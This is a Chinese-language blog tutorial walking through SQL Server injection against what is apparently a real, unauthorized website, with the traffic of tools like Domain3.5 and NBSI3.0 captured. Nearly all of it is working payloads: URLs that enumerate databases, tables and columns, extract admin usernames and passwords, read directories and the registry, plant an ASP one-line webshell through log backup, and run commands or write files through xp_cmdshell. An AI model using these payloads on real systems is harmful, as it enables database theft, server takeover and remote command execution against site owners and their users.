实战:全面了解SQLServer注入过程


想了解sql注入的过程和原理,网上找了些文章,讲得都比较肤浅,但是我知道有几款国内比较常用的注入工具,比如Domain3.5、NBSI3.0、啊D2.32、还有Pangolin、还有一些国外的。这里随便弄几个来研究一下就ok。这次用到的嗅探工具是sniffx专门嗅探http的数据包,功能不强大,但是足够这次活动的使用。本来想使用ethereal或wireshark,但是里面复制数据包内容老是把没有转码的16进制也复制了过来,有点麻烦。也就是说这两个工具用得不娴熟。

【查询数据库信息】

本地没有找到好点的有注入漏洞的系统,只好在网上寻找了,先用Domain3.5,运行很好以来就找到个sqlserver,sa权限的注入点,点Domain3.5上面的“开始检测”

以下是Domain3.5中嗅探出来的http数据包:
news_show.asp?id=15618%20and%201=1
news_show.asp?id=15618%20and%201=2
news_show.asp?id=15618%20and%20exists%20(select%20*%20from%20sysobjects)
news_show.asp?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int–
news_show.asp?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0
news_show.asp?id=15618%20And%20IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)=1

以下是NBSI3.0中嗅探出来的http数据包:
news_show.asp?id=15618%20and%20user%2Bchar(124)=0
news_show.asp?id=15618%20And%20system_user%2Bchar(124)=0
news_show.asp?id=15618%20And%20Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1
news_show.asp?id=15618%20And%20db_name()%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int–

啊D和Pangolin的数据包这里就不列出来了,都差不多。基本的过程是通过and 1=1和and 1=2来判断是否可注入,一般1=1返回http 200(ok),1=2返回http 500(internal server error)表示injectable。然后and exists(select * from sysobjects)来判断数据库类型,sysobjects是sqlserver每个数据库自带的用来存储数据库信息的表格,access每个数据库自带的表格是msysobjects。判断出来是sqlserver数据库之后,然后用系统自带的变量user,system_user和0比较,system_user是nchar类型,user是char类型,0是肯定是int类型,因为不同类型的数据在sqlserver中无法直接比较,所以对于开启错误提示的sqlserver来说就会报错,顺便将敏感信息也暴了出来:

关于user,system_user的解释,点上面的链接到msdn上去看看。
Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1cast()作用是将一种数据类型的表达式显式转换为另一种数据类型的表达式。CAST 和 CONVERT 提供相似的功能。IS_SRVROLEMEMBER指示 SQL Server 2005 登录名是否为指定固定服务器角色的成员,返回值类型为int,0表示不是某某成员,1表示是。0×730079007300610064006D0069006E00是’sysadmin’的16进制码,为啥要弄成16进制呢,我猜想可能是怕网站程序过滤点sysadmin关键字,如果页面正常返回(200),则表示该用户是sysadmin。精心将int转换成nvarchar(1)又会暴出类型转换错误,而这就是黑客所需要的信息。db_name()回暴出当前数据库名。
;declare%20@a%20int–申明一个int变量a,作用我不得而知。

接下来的工作是列出服务器上的数据库名:(假设服务器上有16个数据库)

  1. news_show.asp?id=15618 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From master..sysdatabases)%3E0
  2. news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 1 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
  3. news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 2 dbid,name from [master]..[sysdatabases] order by [dbid]) T order by [dbid] desc)>0
  4. news_show.asp?id=15618 And (Select Top 1 cast([name] as nvarchar(4000))%2Bchar(124) from(Select Top 16 dbid,name from [master].[dbo].[sysdatabases] order by [dbid]) T order by [dbid] desc)>0

先列出上面UrlEncode的字符
%2B — ‘+’
%3E — ‘>’
%20 — ‘ ‘
%2F — ‘/’

我只能说这些sql语句构造得是相当的巧妙啊,我开始纳闷了,为啥非要用子查询呢。于是我直接用
Select Top X dbid,name from [master].[dbo].[sysdatabases] order by [dbid]
当X为1,也就是返回第一个的时候,是没有问题的,返回了master,但是X为2的时候就出现错误:
子查询返回的值多于一个。当子查询跟随在 =、!=、<、<=、>、>= 之后,或子查询用作表达式时,这种情况是不允许的。
这个时候子查询就起到了关键作用。还有开始不知道T是啥玩意,后来才知道sqlserver子查询必须要起一个别名,T就是那个别名,然后把查询的语句继续和0比较报错 这样就暴出了所有的数据库名。
第一个select count(1)返回数据库数量。

接下来是猜解表名,假设我们当前的数据库是news,那么首先猜解数据库的表的数量:
news_show.asp?id=15618 And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From news..sysobjects where xtype=0×55)>0
xtype的为数据表类型,0×55就是U,就是用户表。其他的参见这里有详细的解释。

然后分别列出表名:
news_show.asp?id=15618 And (Select Top 1 cast(name as nvarchar(4000)) from (Select Top 1 id,name from [news]..[sysobjects] Where xtype=0×55 order by id) T order by id desc)>0
修改第二个Top 1为1到表数就可以了。

然后是猜解列名,假设要猜解的表为Admin,首先得到表在sysobjects中存储的唯一id:
news_show.asp?id=15618 And (Select Top 1 cast(id as nvarchar(20)) from [news].[dbo].[sysobjects] where name=’Admin‘)>0

猜解表名,id就是上面查询出来Admin表的id。
news_show.asp?id=15618 And (Select Top 1 cast(name as nvarchar(4000))+char(124) from (Select Top 1 colid,name From [news].[dbo].[syscolumns] Where id = 1993058136 Order by colid) T Order by colid desc)>0

假设猜解出来的列名有id,AdminName,AdminPassword,AdminPower,Userid,ct
假设只猜解AdminName和AdminPassword的值
首先查看Admin表有多少条记录:
news_show.asp?id=15618 And (Select Cast(Count([AdminName]) as nvarchar(4000))+char(124) From [news]..[Admin] Where 1=1)>0

返回第一列数据:
news_show.asp?id=15618 And (Select Top 1 isNull(cast([AdminName] as nvarchar(4000)),char(32)) char(124) isNull(cast([AdminPassword] as nvarchar(4000)),char(32)) From (Select Top 1 [AdminName],[AdminPassword] From [news]..[Admin] Where 1=1 Order by [AdminName]) T Order by [AdminName] Desc)>0
isNull是判定数据是否为空,为空就返回后面那个char(32)的值也就是空格->‘ ’ 。
后面的以此类推。

【读取目录—-xp_dirtree】

drop掉表,然后在当前数据库创建一个表,有三个字段subdirectory,depth,file
Board.asp?id=494;DROP TABLE techguru;CREATE TABLE techguru(subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)–

清空表的数据,然后把xp_dirtree存储过程的结果存入techguru表,xp_dirtree第一个参数是路径,第二个是深度,为0时无限递归,第三个是文件类型,1为文件夹和文件,0为只显示文件夹。
Board.asp?id=494;DELETE techguru;Insert techguru exec master..xp_dirtree ‘c:\’,1,1–

开始一个一个的抓取文件,目录名字,每次增加第二个top后面的数
Board.asp?id=494 And (Select Top 1 cast([subdirectory] as nvarchar(400))%2Bchar(124)%2Bcast([file] as nvarchar(1))%2Bchar(124) From(Select Top 1 [subdirectory],[file] From techguru ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0

移除表:
Board.asp?id=494;DROP TABLE techguru–

【读取注册表—-xp_regread】

首先建立一个表,有两列Value和Data
Board.asp?id=494;DROP TABLE [techguru];CREATE TABLE [techguru](Value nvarchar(4000) NULL,Data nvarchar(4000) NULL)–

执行xp_regread写入刚建立的表
Board.asp?id=494;DELETE [techguru];Insert [techguru] exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,'/’–

读出来
Board.asp?id=494 And (Select Top 1 cast([Data] as nvarchar(4000))%2Bchar(124) From [techguru] order by [Data] desc)=0

删表
Board.asp?id=494;DROP TABLE [techguru]–

【上传webshell—-backup log xx to disk】

备份log,截断1,截断2
第 一 步:建立存一句话木马的表
Board.asp?id=494;create table [dbo].[shit_tmp] ([cmd] [image])–
第 二 步:0×7900690061006F006C007500是‘yiaolu’的sql编码
Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name
(),@s=0×7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate–
第 三 步:0×3C25657865637574652872657175657374282261222929253E是<%execute(request(”a”))%>的hex。
Board.asp?id=494;insert into [shit_tmp](cmd) values
(0×3C25657865637574652872657175657374282261222929253E)–
第 四 步0×64003A005C003100320033002E00610073007000是d:\123.asp的sql编码
Board.asp?id=494;declare @a sysname,@s nvarchar(4000) select @a=db_name
(),@s=0×64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate–
第 五 步
Board.asp?id=494;Drop table [shit_tmp]–

【执行命令】

;CREATE TABLE [X_2894]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);
insert into [X_2894](ResultTxt) exec master.dbo.xp_cmdshell ‘Dir C:\’;
insert into [X_2894] values (’g_over’);exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0

……

And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 23 id,ResultTxt from [X_2894] order by [id]) T order by [id] desc)>0

g_over这个是专门插入用来作为命令回显结束的标志。

;DROP TABLE [X_2894];–

【本地文件上传】

假设上传到服务器c:\down.vbs位置

;exec master.dbo.xp_cmdshell ‘del C:\down.vbs’–

;exec master.dbo.xp_cmdshell ‘ecHo [DeleteOnCopy] >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

;exec master.dbo.xp_cmdshell ‘ecHo Owner=Administrator >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

;exec master.dbo.xp_cmdshell ‘ecHo Personalized=5 >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

;exec master.dbo.xp_cmdshell ‘ecHo PersonalizedName=My Documents >> C:\down.vbs’;exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’–

;use master dbcc addextendedproc(’xp_cmdshell’,'xplog70.dll’)–

总结来说就是调用xp_cmdshell执行echo 一句句的写入文件。

这次分析算是告一段落,不过还有mysql,access,oracle,db2,infomix……….等待探索。



相关阅读:
简单谈论Visual Basic.NET传输表空间
javascript showModalDialog 多层模态窗口实现页面提交及刷新的代码
一个多表查询引出的问题
jquery(1.3.2) 高亮选中图片边框
Javascript实现的CSS代码高亮显示
CSS入门教程:网页首字下沉
动态CSS换肤技术
让网页里的提交按钮变得更靓丽
JScript重载的另类实现
Asp.net防止盗链的实现原理分析
php 之 没有mysql支持时的替代方案
查找最新的文件的批处理bat文件
社区网站用php做的安全性
Javascript - HTML的request类
快速导航
PHP MySQL HTML CSS JavaScript MSSQL AJAX .NET JSP Linux Mac ASP 服务器 SQL jQuery C# C++ java Android IOS oracle MongoDB SQLite wamp 交通频道 作文范文 最新母亲节祝福语大全 放假期间安全通知 分手后祝福对方的句子 认真学习作文50字 记忆里的秋忙时节 我的一家200字 卫生监督机构打击非法行医宣传周活动总结 说有上辈子的人是在骗自己,说有下辈子的人是在骗别人 三片花瓣的舞作文900字 学校2012年职社科工作计划 无题(1)作文900字 心中有座美丽的花园 特殊的作文课作文 春季期开学典礼学生代表发言2 亲爱的,以后我们也要这样生活,好不好? 县政府工作总结及今后五年工作目标 恋爱与学习的关系 芍药花开 描写爱情的经典抒情散文 和梁王众传张光禄是王子晋后身 公路运输合作协议 学习 做人 与做事 小学六年级作文350字:老虎与狐狸 午间交响曲 慈祥的爷爷200字 优美抒情的句子摘抄 今夜看萤去 青松 永遇乐 咏百里杜鹃 化妆培训学校学员感言 累不是一种无能 今夜,昙花绽放 即将被时代淘汰的9种人,看看吧 公司领导2016年最新述职报告 粉色天空(3) 我的烦恼展览会作文900字 春也痴狂 参观唐祥元根雕艺术收藏展800字 我有弟弟了作文500字 全市县域经济工作会议筹备工作方案 永远寄不出去的信作文1100字 学习两个《条例》几点体会 2014年街道党工委组织委员述职述廉报告 公司新员工培训通知 结婚祝福用语 暗念.七年 初中初三作文800字:天使公主的旅程15 你使我学会感动作文800字 小学生作文踢足球 读课文

Copyright © 2016 phpStudy |